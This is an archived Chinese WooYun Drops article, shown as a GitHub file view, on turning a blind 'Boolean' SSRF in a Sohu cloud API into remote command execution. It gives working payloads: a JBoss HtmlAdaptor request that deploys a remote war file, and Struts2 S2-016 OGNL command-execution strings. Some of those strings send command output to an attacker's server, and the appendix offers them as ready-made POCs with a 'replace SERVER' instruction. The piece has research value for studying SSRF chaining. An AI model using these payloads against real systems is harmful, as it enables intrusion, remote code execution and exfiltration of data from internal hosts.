forked from Trietptm-on-Security/WooYun-2
-
Notifications
You must be signed in to change notification settings - Fork 7
/
Bool型SSRF的思考与实践.html
162 lines (92 loc) · 122 KB
/
Bool型SSRF的思考与实践.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
<html>
<head>
<title>Bool型SSRF的思考与实践 - Wulala</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<body>
<h1>原文地址:<a href="http://drops.wooyun.org/web/7550">http://drops.wooyun.org/web/7550</a></h1>
<p>
<h1>0x00 Bool型SSRF</h1>
<hr />
<p>什么是Bool型SSRF, 没听说过. 其实我也没有听说过. 只是我也不知道该怎么描述就起了这样一个名称. Bool型SSRF:简单来说就是仅返回True 或 False的SSRF. 就以我前两天我挖掘的一个搜狐SSRF为例, 只有服务器端正确响应HTTP请求并且只有响应码为200的时候,返回Success,其余全部返回Failed. 这就是一个典型的Bool型SSRF.</p>
<h1>0x01 SSRF利用的基本思路</h1>
<hr />
<p>Wooyun上有很多SSRF典型的案例, 可以说让人拍案惊奇. 但是没有一个关于BOOL型SSRF的利用案例(可能我没看到吧). 这次挖掘到一个搜狐的Bool型SSRF, 对于我这个只是简单理解SSRF原理没有任何实战的渣渣来说, 难度还真大. 不过想想,以前没有接触过SSRF,这次就把你玩透. 翻阅学习Wooyun上的案例, 了解SSRF利用的基本思路:</p>
<pre><code>内网探测->应用识别->攻击Payload->Payload Result
</code></pre>
<!--more-->
<pre><code>内网探测: 内网主机信息收集
应用识别: 主机应用识别(可以通过Barner和应用指纹进行识别)
攻击Payload: 根据应用识别的应用,加载不同的攻击Payload(最常用莫属于Struts2)
Payload Result: 返回相应Payload的执行信息
</code></pre>
<h1>0x02两者之间的区别</h1>
<hr />
<p>BOOL型SSRF与一般的SSRF的区别在步骤二应用识别,步骤三攻击Payload和步骤四Payload Result. 一般的SSRF在应用识别阶段返回的信息相对较多,比如Banner信息,HTTP Title信息,更有甚的会将整个HTTP的Reponse完全返回. 而Bool型SSRF的却永远只有True or False. 因为没有任何Response信息,所以对于攻击Payload的选择也是有很多限制的, 不能选择需要和Response信息交互的Payload. 在此次搜狐SSRF的中, 我分别使用了JBOSS远程调用和Struts2 S2-016远程命令执行. 对于Bool型SSRF, 我们不能说Payload打过去就一定成功执行, 就算是返回True, 也不能保证Payload一定执行成功. 所以我们要验证Payload的执行状态信息.</p>
<h1>0x03 Bool型SSRF利用方法</h1>
<hr />
<h3>1.应用识别</h3>
<p>{指纹1 + 指纹2 + 黑指纹}, 这里以JBOSS为例: <code>{ /jmx-console/ + /invoker/JMXInvokerServlet + /d2z341.d#211 }</code> 指纹1 和 指纹2 为应用识别指纹, 准确率越高越好. 黑指纹其实就是不会匹配任何应用的指纹,一般用较长的字符串代替即可. 分别用指纹1, 指纹2 和 黑指纹对内网主机探测统计, 获取三个主机列表:<code>jmx-console.host(A) invoker.host(B) black.host(C)</code>.</p>
<p><code>Host = (A∩B) –(A∩B∩C)</code> 即剔除jmx-console.host 和 invoker.host中存在于black.host的主机, 然后对jmx-console和invoker.host的主机取交集.</p>
<h3>2.攻击Payload</h3>
<p>针对不用的应用我们需要加载不同的Payload, 但是大多数的攻击都是需要和Payload Result进行交互的. 这类Payload是没有办法用在此处的, 我们需要的是不需要和Payload Result进行交互的Payload. 我可以想到的两种应用比较广泛的Payload有JBOSS和Struts2漏洞.</p>
<p>JBOSS Payload:</p>
<pre><code>/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2F192.168.1.2%2Fzecmd.war
</code></pre>
<p>通过JBOSS HtmlAdaptor接口直接部署远程war包, 我们可以通过access.log去验证war包是否成功部署.下面就是通过SSRF去执行不同的命令.还有一种方式,就是我们可以通过我们服务器的access.log日志获取到远程服务器对应的公网IP, 有时也会有一些意外惊喜.</p>
<p>Struts2 Payload:</p>
<pre><code>/action?action:%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start()}
</code></pre>
<p>Struts2漏洞的影响大家都懂的, 通过URL直接远程命令执行, 想打那里就打那里</p>
<h3>3.Payload Result</h3>
<p>获取Payload Result是十分有必要的,这里的Payload Result和非Bool型SSRF的Result不是一个意思. 对于Bool型SSRF, 服务器端返回的数据永远只有True和False, 我们是可以通过返回的True或者False来判断Payload的执行状态, 但是这样的判断标准是无法让人信服的. 能否有一种方法能够精确的判断Payload的执行状态,而且能够返回Payload Result. 对于Struts2我找到了一种可利用的方法。</p>
<h1>0x04 Struts2在Bool型SSRF中的利用</h1>
<hr />
<p>下面是S2-016的POC:</p>
<pre><code>/action?action:%25{3*4}
/action?action?redirect:%25{3*4}
</code></pre>
<p>通过对连个POC的理解, 我们知道下面的POC中的redirect是实现URL跳转,通过URL跳转来验证S2-016漏洞.</p>
<p><img src="http://static.wooyun.org//drops/20150802/2015080206092399440.png" alt="enter image description here" /></p>
<p>当然也可以通过“<code>?redirect:http://www.baidu.com</code>”来验证. 那么我们是否可以通过”<code>?redirect:http://SERVER/%25{3*4}</code>” 将%25{3*4}的执行结果作为SERVER的URL的一部分发送到远端服务器, 通过实验我们证实了这样的想法.</p>
<p><img src="http://static.wooyun.org//drops/20150802/2015080206092385772.png" alt="enter image description here" /></p>
<p>下面我们尝试S2-016的命令执行POC,执行结果如下:</p>
<pre><code>?redirect:%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start()}
</code></pre>
<p><img src="http://static.wooyun.org//drops/20150802/2015080206092390336.png" alt="enter image description here" /></p>
<p>特此说明一下,这里返回<code><a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="4b212a3d2a65272a252c651b3924282e383802263b270b333333333333">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script></code>表示命令执行成功, 将命令执行的结果通过redirect跳转输出到远程服务器.</p>
<pre><code>?redirect:http//SERVER/%25{%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start()}
</code></pre>
<p><img src="http://static.wooyun.org//drops/20150802/2015080206092378081.png" alt="enter image description here" /></p>
<p>由服务器端Access日志可以看出,命令执行成功</p>
<p><img src="http://static.wooyun.org//drops/20150802/2015080206092386339.png" alt="enter image description here" /></p>
<p>其实通过上面的这种方式,我们已经完全能够准确的判断Payload Result的执行状态, 但是这不是我要的, 我想要Payload Result执行结果. 带回显的POC:</p>
<pre><code>?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
</code></pre>
<p><img src="http://static.wooyun.org//drops/20150802/2015080206092550624.png" alt="enter image description here" /></p>
<p>将命令执行结果Redirect到远程:</p>
<p><img src="http://static.wooyun.org//drops/20150802/2015080206092539910.png" alt="enter image description here" /></p>
<p>我们可以看到本地浏览器可以打印出结果,但是远程Access.log不会有任何日志. 对Java懂一点点的人都知道(比如我,对Java略懂一点点), 这里的POC的作用就是本地打印,所以肯定是不行的. 下一步我们就需要更改POC , 因为对Java不熟, 为此花费了大半天的时间,写下下面的POC:</p>
<pre><code>?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
</code></pre>
<p>SERVER是我们的HTTP服务器IP地址, 我们获取命令执行结果,然后把他作为一个URL参数发送到远程SERVER上, 所以我们可以在远程SERVER的access.log看到命令的执行结果.</p>
<p><img src="http://static.wooyun.org//drops/20150802/2015080206092550173.png" alt="enter image description here" /></p>
<p>远程服务器日志:</p>
<p><img src="http://static.wooyun.org//drops/20150802/2015080206092548854.png" alt="enter image description here" /></p>
<p>至此, 我们完成了从一个BOOL型的SSRF转换为一个普通的SSRF,我们可以获取到任何Payload的执行结果, 我只能说这是一个质的飞跃.</p>
<p>说明: 对于文中浏览器中执行的返回信息,我们仅仅是在做测试,对于BOOL型SSRF这些信息对我们是不可见的, 我们能看到的仅仅是Server端的access.log日志.</p>
<h1>0x05 Other(想到什么写什么)</h1>
<hr />
<p>Bool型SSRF的其他利用方式-反射性XSS也是一种可利用的思路,不过挖掘的难度相对较大</p>
<p>此文是对搜狐SSRF漏洞利用过程中的一些思考,实践和总结.</p>
<p>这可以说是我的SSRF处女洞, 和此文章关联的漏洞”搜狐某云服务API接口导致SSRF/手工盲打到Struts2命令执行”<code>http://wooyun.org/bugs/wooyun-2015-0129588</code> , 因为抱着学习的态度, 漏洞报告写的非常详细,而且有很多技巧在文章中没有提及. 当然也有很多YY的想法, 想拍砖的就来拍砖吧.</p>
<p><strong>附录</strong></p>
<p>使用方式: 将SERVER替换为你的Web服务地址</p>
<p>POC-S2-016.SSRF版 高亮:</p>
<pre><code>?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
</code></pre>
<p>POC-S2-016命令回显集成SSRF版 高亮:</p>
<pre><code>redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23t%3d%23d.readLine(),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.setContentType(%27text/html%27),%23matt.getWriter().println(%23e),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
</code></pre> </p>
</body>
</html>